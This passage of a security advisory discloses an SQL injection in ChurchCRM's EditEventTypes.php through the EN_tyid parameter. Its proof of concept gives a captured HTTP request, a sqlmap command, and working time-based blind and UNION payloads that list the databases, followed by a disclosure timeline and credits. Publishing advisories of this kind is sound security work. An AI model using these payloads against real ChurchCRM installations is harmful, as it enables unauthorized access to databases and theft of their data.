As a proof of concept, the EN\_tyid parameter, which is sent when an event is edited, will be abused to query the database management system using sqlmap 3.

Let’s start with the HTTP request I had captured in Burp Suite.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    

    POST /churchcrm/EditEventTypes.php HTTP/1.1  
    Host: <IP>  
    Content-Length: 21  
    Cache-Control: max-age=0  
    Upgrade-Insecure-Requests: 1  
    Origin: http://<IP> 
    Content-Type: application/x-www-form-urlencoded  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
    Referer: http://<IP>/churchcrm/EventNames.php  
    Accept-Encoding: gzip, deflate  
    Accept-Language: en-US,en;q=0.9  
    Cookie: <Cookie Value>  
    Connection: close  
    EN_tyid=4&Action=Edit
    

This request could then be passed to sqlmap for injecting the EN_tyid parameter.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    

    ┌──(kali㉿kali)-[~/ChurchCRM] 
    └─$ sqlmap -r churchcrm.txt -p EN_tyid -dbs 
            ___ 
           __H__                                                                  
     ___ ___[,]_____ ___ ___  {1.5.5#stable}                                      
    |_ -| . [.]     | .'| . |                                                     
    |___|_  [)]_|_|_|__,|  _|                                                     
          |_|V...       |_|   http://sqlmap.org                                   
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 
    [*] starting @ 10:42:27 /2021-09-16/ 
    [10:42:27] [INFO] parsing HTTP request from 'churchcrm.txt' 
    [10:42:28] [INFO] resuming back-end DBMS 'mysql'  
    [10:42:28] [INFO] testing connection to the target URL 
    sqlmap resumed the following injection point(s) from stored session: 
    --- 
    Parameter: EN_tyid (POST) 
        Type: time-based blind 
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) 
        Payload: EN_tyid=4' AND (SELECT 8001 FROM (SELECT(SLEEP(5)))vpfX) AND 'KFAy'='KFAy&Action=Edit 
        Type: UNION query 
        Title: Generic UNION query (NULL) - 9 columns 
        Payload: EN_tyid=-8227' UNION ALL SELECT NULL,CONCAT(0x7162766a71,0x58587254614b525a474f487269586c6d55424859667574764267587a484c79595a78496f66665959,0x7178706271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&Action=Edit 
    --- 
    [10:42:29] [INFO] the back-end DBMS is MySQL 
    web application technology: Apache 2.4.48, PHP 7.3.30 
    back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) 
    [10:42:29] [INFO] fetching database names 
    [10:42:31] [INFO] retrieved: 'information_schema' 
    [10:42:32] [INFO] retrieved: 'test' 
    [10:42:33] [INFO] retrieved: 'churchcrm' 
    available databases [3]:                                                     
    [*] churchcrm 
    [*] information_schema 
    [*] test 
    [10:42:33] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.11.170'                                           
    [*] ending @ 10:42:33 /2021-09-16/
    

**Disclosure Timeline**

I had reached out immediately to the vendor via email on 2021-09-16, who never replied to my request. Following a responsible disclosure approach, I decided to file for a CVE and ultimately disclose the vulnerability publicly.

The overall timeline for disclosing this vulnerability was as follows:

*   2021-09-16: Vulnerability discovered
*   2021-09-16: Vulnerability reported to the manufacturer
*   2022-05-02: CVE has been reserved
*   2022-05-14: Public disclosure of the vulnerability

**Credits**

This security vulnerability was found by Alexander Bilz.

*   E-Mail: mail\[at\]alexbilz.com
*   Public Key: https://www.alexbilz.com/ABilz.asc
*   Key ID: 0X474CECFD3DBC6880
*   Key Fingerprint: 6C0E A8D0 C428 ED1D 8C2E C4A0 474C ECFD 3DBC 6880

**Disclaimer**

The information provided in this security advisory is provided “as is” and without warranty of any kind. Details of this security advisory may be updated to provide as accurate information as possible.

**References**

1.  Product website for ChurchCRM http://churchcrm.io/ ↩︎
    
2.  ChurchCRM CRM Sourcecode https://github.com/ChurchCRM/CRM ↩︎
    
3.  Link to sqlmap https://sqlmap.org/ ↩︎

Tag

#sql